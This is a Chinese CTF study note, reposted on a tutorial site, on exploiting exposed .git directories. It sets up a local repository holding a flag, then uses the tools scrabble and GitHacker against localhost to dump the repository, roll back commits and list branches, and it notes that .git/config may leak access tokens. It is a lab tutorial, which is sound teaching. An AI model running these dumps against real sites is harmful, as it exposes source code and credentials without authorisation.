C/C++教程

CTF学习笔记1:git泄露有关知识

本文主要是介绍CTF学习笔记1:git泄露有关知识,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

一般情况

环境准备

#先进入/var/www/html目录
git init
vi flag                        #新增一个flag文件并保存
git add flag                   #向仓库增加flag文件
git commit -m "flag"

scrabble获取flag

工具:scrabble

./scrabble http://localhost/     #会下载flag文件

需要回滚

修改flag文件

#先进入/var/www/htm目录
vi flag                   #修改flag文件并保存
git add flag
git commit -m "change"

回到上一版

./scrabble http://localhost/
git reset --hard HEAD^

也可用git log --stat和git diff HEAD commit-id查看和比较

git log --stat
git diff HEAD flag

git分支(默认master)

工具:GitHacker、python

python GitHacker.py http://localhost/.git/      #下载到本地
git log --all                                   #或git branch -v  查看master分支
git reflog                                      #查看checkout记录

sudo apt install python3-pip                            #安装pip3
pip3 install GitHacker                                  #安装GitHacker
githacker --url http://localhost/.git/ --folder result  #获取所有分支到result目录下

其他

.git/config文件夹可能有access_token信息,泄露用户其他仓库信息

git相关命令

git checkout -b ??       #新建工切换分支
git checkout ??          #切换分支
git branch -a            #查看所有分支
git branch               #查看当前分支
这篇关于CTF学习笔记1:git泄露有关知识的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!